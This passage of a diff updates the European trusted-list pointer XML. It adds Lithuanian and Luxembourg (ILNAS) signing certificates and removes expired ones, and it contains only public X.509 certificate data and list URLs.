+                            <X509Certificate>MIIDQDCCAiigAwIBAgIFEjkEClswDQYJKoZIhvcNAQELBQAwOTELMAkGA1UEBhMCTFQxDDAKBgNVBAoMA1JSVDEcMBoGA1UEAwwTQXVyaW1hcyBNYWNpamF1c2thczAeFw0yNTA3MDkwMDAwMDBaFw0zMDA3MDkwMDAwMDBaMDkxCzAJBgNVBAYTAkxUMQwwCgYDVQQKDANSUlQxHDAaBgNVBAMME0F1cmltYXMgTWFjaWphdXNrYXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDDtqErPgH5YFEErjqJB2+PFE7t41596aAcNjnqEe6gcayXU7Cx3aex6BoPEnDQMhqxj8enUWJEx6fafeZgPAbSZ7HQ5/BsWcpIWK3l4GWjRV3Tx0p8rS588/yQjmoHqHTFNyxIYz+nK69lY/WyRjl3Fay7Nof4iv53MxMLGzCvP5l9Iyi2TKx/jcyAWbydUsA2/63mZhK73eG3Q1CpVvU0VN0A8qWW01VPalk5rYlx8ToBznjSkO4ZfKnfyh87Tl7lHDuQQM7CzaISos1bw1i8Ua2IN/YkZbS3/HLT6IhMbtUl8fYWE6e/DU++SkCZilK6MRU1SveaHlW9swwe45xTAgMBAAGjTzBNMB0GA1UdDgQWBBSRyRpOXkaNOg8jFNjJSeBmi2eoqDAJBgNVHRMEAjAAMA4GA1UdDwEB/wQEAwIGwDARBgNVHSAECjAIMAYGBFUdIAAwDQYJKoZIhvcNAQELBQADggEBAMJVOCWiCOxxumwvXWK+ikLfhpT1sIAnrXss/MSecAzMvw0VlB7kIVguYVUW+KpOSYdRFzBsojAhgJR5hZ7cg+KLP5xD/i2ZXVR3AFmAxeEb+RXHZb9goCce2QGgPS9NQk0VLtvT8HtRBwOj6WT6GUnMPL4sOF5ZS3fB5rs7Od/XOCfHcfFn4GjUV5ExLrOyVZP2AsiSrdk48nW5VUZTzlse5d7Gx1cOLYDiAbhw9z1hwvY3MZejGeJwJkKLx/v+TXOqzbgBWId3ipHR+VjR2hCDUvTaiSSVCMKDt/lsdzGIiqyppR2hqkR/LCLdiyNUx3BKNInZPo0047wDkzHCVpc=</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>https://elektroninisparasas.lt/LT-TSL.xml</TSLLocation>
                 <AdditionalInformation>
@@ -1531,21 +1497,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIILpHpW3o+uucwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTAxMjUxMjAyMDBaFw0yNDAxMjUxMjAyMDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCvsB0pGx4nxqQG7beQiyRav7tuR7oWxilegXIwQ6cbNIZ4hA0B6jiODcAqhoRIn09kEdLmH/aQxiWFiw2eXPHTun7F+1fVuae2arJAWtr16c6x9ScB3o4MCv6z4QQbF+Dvsq1Tjm2A7A9J2Tbj/4RZ5QuiaOFp01emaPzDQJoalowpP9Be+TbvCrz8pzQgtX+nR0df2dUxBYxdLifKTNFXGtfK0VT+j1WK/hbT8rHn4fAcVSbBN6W1G16AQgTsYSyUzmrd60KTc/WOxdk0kLBnJMLS4g5STEB/gCUEwhQVE4lgoAUFCOfqOUaVRu7FIXs4djmi1EBNZipkVWeVeVxM3NLX+x63HdNq8Z3Ei5GUuyEz+b+p3SAMQISzcHUVC0oZnxmapbQAQLqAuxsORVCYQstRrDxlTrU+qOSi0LM9XcqEKEggNS2GVn39vVlrrUV/dNHgy9uFXcRj3Qj+6RLF2IrO0/RPIt6I8tBvxnzeXYxLbwDhMGJFFHqOSMZXRh/onMV4i3n+M467c2EaLg2+yj40sDdbNKZ8ZWkAKtNWUv3N/xA2BVC7eqx+qnPUz+pPaHPr8gKBL9oL7D/uD8H+aKRTLqcWBwl1vZNvlwP8BfrGllDd8FeDQ4GE/GFwSizFgQJ/UlBnXtGeV1GZbkr1fFMjfNQo7biprzfeLzOSWQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT32GzxQiIsVwveYyekqyfDBOcicDAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQCKA605U47QUN+IR7wBd1F57N49RXyjx/j70TK1tV0f9MAum4Gp0r5lroomEt6uLt4TavMWoLTg4WTGopjs3/Ay2Ge0LPqw7g35iT4Nlls2Id52PDRmSvowF+ZvRgoZZ+l4zF1d/wZzBl7doeQd1kQn7i0LZkyHqiv7u9DMJvqNZ2oKhDVx1D+JEAGjIiS+pJAqcSvhO+fZTHYxg7E234Df8N3EnDqecyf5963FzSdZ/qPF6+RfgU+h4IXHW4bTWfYmi1diBdUfk2cgFCWMMFLBccNozZ8mSSAP3L0/kRd4fGi1J7Jz2HA94FSIk/JycQ3W6wPj4YA7NgR0QoNMudRzScnMOhL6Le/ag9i7TNoXZ3DYs+LrU8P5NoB5bjvGckFnYyb8BU/ElHqwzzmbRztnLxcemjaVW/b2IIEcaAMw4iYfeiOQQnpbCTnrxBuXnebW7+lcLVTOkIDeadlBa8hPBWHdJinPDJqeZGFCAlR9yHPtNpM6hyGHq6dKzLnbyAaC63NhlLoKJx+ojNskQv5odYZgaYY4GQvpSNP+Ao8H17RjARzLSdGAx0cEAe4isIiaVt1aJJ3D38Mt77wIWtQUhoGk/EWrfagCqHOLmmFbkDnBIkGWfBqAeNfyJ2s1S2XFRnPpLOgb/3N7wl0wdAVnqHZBMEAxc/3Fw7ell22VEw==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIIN96pSLYjpaUwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTA5MTYwODAzMDBaFw0yNDA5MTYwODAzMDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCZX10hzC0iWywty8kEH/h19gZ3xp/N4mJ7YaFNT1fn5jwwYsfXCzWWKvuqGEXst2B6tCr44eKfYkoF5JD6wmK00YFYNn8Hfnj3s1BTKcin31a9ku43TzSD3sgqqdsmiDXAqS8mSfwSf1KHwDny01vuf1TDbalXOCn2RtTxXviDZ55osUnxfrBVp0B78tDlsYbYF5MLmKPbxIn5TejyZvuTmKvLqiMtcY2+1y4Uk3XDrRCODKFUdM/sB9uDZF6Q82lS5bSWftQ5wJyhgwhBhBF7yielX+ZrpD+jQe5cwwL2IRPQetoBW7EecNcRh8ZG5GAjYiunWYgbdyZRxOxmXjEfBYKqThTrO7FA7h7voV+6I0uNMSF5ufbjZLPuwqaWVeeWtTHUVfiyQZ/+Cg5FM6qvIEdGmYM60K0EUg+eyRoDCp6+LqZzNuMKFR/B3uS+ss+fVCCFujXzHflnmwzbrzLSL2oyx/S58q/HddPAj48Uqspy/94z7SimRZ12h+msswwHUub3IOBYJ0L/WShUFXJn0us2tL/G2xtvkipXOmq7WvdY4y+Iktfa2ENKeVY66Lu94rVlbR0gJrCPLp+qYQMxogj+X13fHaPqsoLk3+vA2p+zuso9/rK3cfMqDBTX+xHRv0un2pMe1owVJFIRivrHAy95lN5PQV+B7Rgck7c2TQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQoqvweA03M5WOqjl6myOlS/LnDMjAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQAcsug8LqMaQp2nIgxXVozMluKNznpuMDe+xtYzlomB3SOOOgrB51sRdzdVSaUF9NEH+Iuj1DvilNXmo7Q7UL3CCW3PNKDxWvwv+fYB/iiImyha+0P7afRyCIkwJxWIDS+hOzD45C9sgKXkLWuROAjeOJMSKjfPDSrGkkY9UahGBcVl71MsRlBn2f95rwAEZCgCPqP2w0Jgq5xVW8Pih11eti6H5rt/jcCC3bQmbkmwYInvV2wUq7KfDeaFQvA9+xoQZph+CFs+RVvbmQe6KtAxAS8VzY2sPLPt/SA0vvKozLVLfJ5zbEMHAQnVtQc7lHHH3+rRMGRBAmJ9eG1uER7vJEbvWjRvk1jKdiH7NSVTShj0v+2OrnXdh23fcUirVqPNjOqdmZ7zdf0mDpuj4iFfQkznMcHytpXhXAdYvuSzrOSMbFMyhp7cIgsBfPL4gDdlgC68JPOdRp1sbOn9InUqhpTrWeNDcsGB3PHxDrBN2jpsH+M5pAYMhqYxsVeVcAJQoJcVom+gNe+R+s1c4BCvdhcWCfe2J6sS9hCuLcruLQ60MCXE7vYoWC3hPOIROxDtLyZsVJLtFmOTYXzyDIvgewvAwGlDgihD0RhTPqVnMaUuvc/A7r6r0T7is5ejcKkanYn84STa3g72osgC7nP6DbjG9i2htIFzqy3twtOQiw==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIIQqo2XTziviwwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTA5MTYwODU0MDBaFw0yNDA5MTYwODU0MDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDMFVzLD8dlcSH8Y+acLPpSPIwbKh5t59sqvX409UEbhLvIs3g8nJ6YO5Npnl2NrQ7C9FewcYzhsotljFnJlyIf2ljito8JOR2z9pgi/q6rJWmnJ2kcwx8hoVi+BlWRJa2/aB11mhWi75Y7DgxKC55obcqf7JVncHHQaW8V0qtI21pvW4KtrBLzMLHihO4SonLEJ96U+AuEEMfPEIYwh9hE0wHIZPHn6FPWVPXduNn/1sgP5b3rsHhQdwoFVwP/vzrh4Fn2qJLiZXFm7T7t5msK0Zvjt/0xL/TXr+Pa1I3j6hrszrxE9pfY9NZ5uJaHf/Qa+14SrANvxkZVu+pOYBZQIzjnlGftMouBlWfOh7RHW+SjeRLCVKPGViCoGxfd0/BFdHR3ry40JnYjU20mk9ifwpgtfDc1iXnuwVTH7MeHY8lXG3EAposINYQ+Y+XzIskt+4ArX7ym26GM0LN+eLXQJyVUD+mjhpSXAFNLJSIDxoXG7P68ysRBe8YSlfhURohPrcE/2CAbZcH/NEzXjpe2EpJsPGfnEU1bFc0SR+BoivSsRFIMbE3NeUVzs+0j2XduYEr4DH9hb3t1ASQoeW09m4TPxd6fA8cGaBmk/KuX3xynJRLxfNju8Ky6vGykiAmnOQH6pcXy+n58nu+19umJBsIDKzV5VjGKS1khznkfmQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRkCOkYEDB6+U1QinT+vv0jXbmFDDAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQB6cbQ5VuGRgX5Dx5KXjYNKZhxwRqcYHpJvk8cXoWIFkk+jkk5hnnSsson2Rpjya8R4VCyYY/56bLxicIs+n7panEaUIqvAZbUqe/lfGfjNo7wqsNV7ovqxVCagyeGHHtWvVhw87NSXpr9tyafIdbSvuBS0Yk6xog3trzqvQIPkv+XzH6lpKPONmFxa7jnQjOsib76kT6ZCYulSo7xpgEOprzxwNIR0NJAtwTjGkkMY8v6qR8vJ1JQRjk6P6a+ivulmIryeEev4hmh5Iwfc4HcCskmaSigN2kRdvIZNN22tB8Tz3FRt/EuMOiwS36w3UBCFUhCXwioiMHl9eUo4pwyo6XrO7ZIROlZntOgvGYFSxelO5qKjs3OhX0fdW/qfstoJ6GglEM0HVk+gQJyU17lNdXA1DBKhMrfhDYumZQXiCSXnSIYGu2UzY/LnkyD/wgQxJ5m44E1gLsbtVp8lOHlDhByxbe3bvHLtbhd60nG5rHobU7yWeJL5actBgmBfEvkv5GJHy0n0ZEs0bUiav9laqwz4QauVv5d00ODk3KhdRnaz8pyihRuq0MWOZXdbTJsc5ABnweWVkABM1RlB2NZ1+hGuZq7lQXqZKMhFaHIX25kqLd652WvKanVTbS6MGWdIEjGWI4EHQqWilpUSHv9wsi1J5wqOJsaqxMz6udCioA==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
                     <ServiceDigitalIdentity>
                         <DigitalId>
                             <X509Certificate>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</X509Certificate>
@@ -1556,6 +1507,11 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>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</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>MIICjDCCAhOgAwIBAgIUaLo3ZSTI6j1b5dQbKzfhN/epMKowCgYIKoZIzj0EAwQwfjELMAkGA1UEBhMCTFUxEDAOBgNVBAcMB0JlbHZhdXgxDjAMBgNVBAoMBUlMTkFTMSQwIgYDVQQLDBtOYXRpb25hbCBEaWdpdGFsIFRydXN0IEJvZHkxDjAMBgNVBAMMBUlMTkFTMRcwFQYDVQRhDA5WQVRMVS0yMjk1OTQ2MzAeFw0yNTA0MTEwNTQ2MzBaFw0yODA0MTAwNTQ2MzBaMH4xCzAJBgNVBAYTAkxVMRAwDgYDVQQHDAdCZWx2YXV4MQ4wDAYDVQQKDAVJTE5BUzEkMCIGA1UECwwbTmF0aW9uYWwgRGlnaXRhbCBUcnVzdCBCb2R5MQ4wDAYDVQQDDAVJTE5BUzEXMBUGA1UEYQwOVkFUTFUtMjI5NTk0NjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATBSIwHyUDeq63bYo7RMX4JkbjUImjbBpblt5ioTpptvkoR1PyNojZaTnbWp1TzEwpehzzTYrwBN4uIE+vkV8Nue8PhJoh62iTDNXfYzfVZkou/ucqvC+SEB7lyn0JlhRSjUjBQMB0GA1UdDgQWBBSVtslX3RDZMeUu/A8f3QT8HcuHzTAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIGQDARBgNVHSUECjAIBgYEAJE3AwAwCgYIKoZIzj0EAwQDZwAwZAIwJbzVladMHwIBBctEoahSV6Jr+1HkgR5vmP05kJsOa7kI2gX3zIdaXTsSJi27D8qJAjAnWNhUIKphR8joW+3c17Lr7aYhiba1j+Qljv88ErCAGVohBURK5EhlYMqWo579/y0=</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>https://trusted-list.lu/tsl.pdf</TSLLocation>
                 <AdditionalInformation>
@@ -1586,21 +1542,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIILpHpW3o+uucwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTAxMjUxMjAyMDBaFw0yNDAxMjUxMjAyMDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCvsB0pGx4nxqQG7beQiyRav7tuR7oWxilegXIwQ6cbNIZ4hA0B6jiODcAqhoRIn09kEdLmH/aQxiWFiw2eXPHTun7F+1fVuae2arJAWtr16c6x9ScB3o4MCv6z4QQbF+Dvsq1Tjm2A7A9J2Tbj/4RZ5QuiaOFp01emaPzDQJoalowpP9Be+TbvCrz8pzQgtX+nR0df2dUxBYxdLifKTNFXGtfK0VT+j1WK/hbT8rHn4fAcVSbBN6W1G16AQgTsYSyUzmrd60KTc/WOxdk0kLBnJMLS4g5STEB/gCUEwhQVE4lgoAUFCOfqOUaVRu7FIXs4djmi1EBNZipkVWeVeVxM3NLX+x63HdNq8Z3Ei5GUuyEz+b+p3SAMQISzcHUVC0oZnxmapbQAQLqAuxsORVCYQstRrDxlTrU+qOSi0LM9XcqEKEggNS2GVn39vVlrrUV/dNHgy9uFXcRj3Qj+6RLF2IrO0/RPIt6I8tBvxnzeXYxLbwDhMGJFFHqOSMZXRh/onMV4i3n+M467c2EaLg2+yj40sDdbNKZ8ZWkAKtNWUv3N/xA2BVC7eqx+qnPUz+pPaHPr8gKBL9oL7D/uD8H+aKRTLqcWBwl1vZNvlwP8BfrGllDd8FeDQ4GE/GFwSizFgQJ/UlBnXtGeV1GZbkr1fFMjfNQo7biprzfeLzOSWQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT32GzxQiIsVwveYyekqyfDBOcicDAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQCKA605U47QUN+IR7wBd1F57N49RXyjx/j70TK1tV0f9MAum4Gp0r5lroomEt6uLt4TavMWoLTg4WTGopjs3/Ay2Ge0LPqw7g35iT4Nlls2Id52PDRmSvowF+ZvRgoZZ+l4zF1d/wZzBl7doeQd1kQn7i0LZkyHqiv7u9DMJvqNZ2oKhDVx1D+JEAGjIiS+pJAqcSvhO+fZTHYxg7E234Df8N3EnDqecyf5963FzSdZ/qPF6+RfgU+h4IXHW4bTWfYmi1diBdUfk2cgFCWMMFLBccNozZ8mSSAP3L0/kRd4fGi1J7Jz2HA94FSIk/JycQ3W6wPj4YA7NgR0QoNMudRzScnMOhL6Le/ag9i7TNoXZ3DYs+LrU8P5NoB5bjvGckFnYyb8BU/ElHqwzzmbRztnLxcemjaVW/b2IIEcaAMw4iYfeiOQQnpbCTnrxBuXnebW7+lcLVTOkIDeadlBa8hPBWHdJinPDJqeZGFCAlR9yHPtNpM6hyGHq6dKzLnbyAaC63NhlLoKJx+ojNskQv5odYZgaYY4GQvpSNP+Ao8H17RjARzLSdGAx0cEAe4isIiaVt1aJJ3D38Mt77wIWtQUhoGk/EWrfagCqHOLmmFbkDnBIkGWfBqAeNfyJ2s1S2XFRnPpLOgb/3N7wl0wdAVnqHZBMEAxc/3Fw7ell22VEw==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
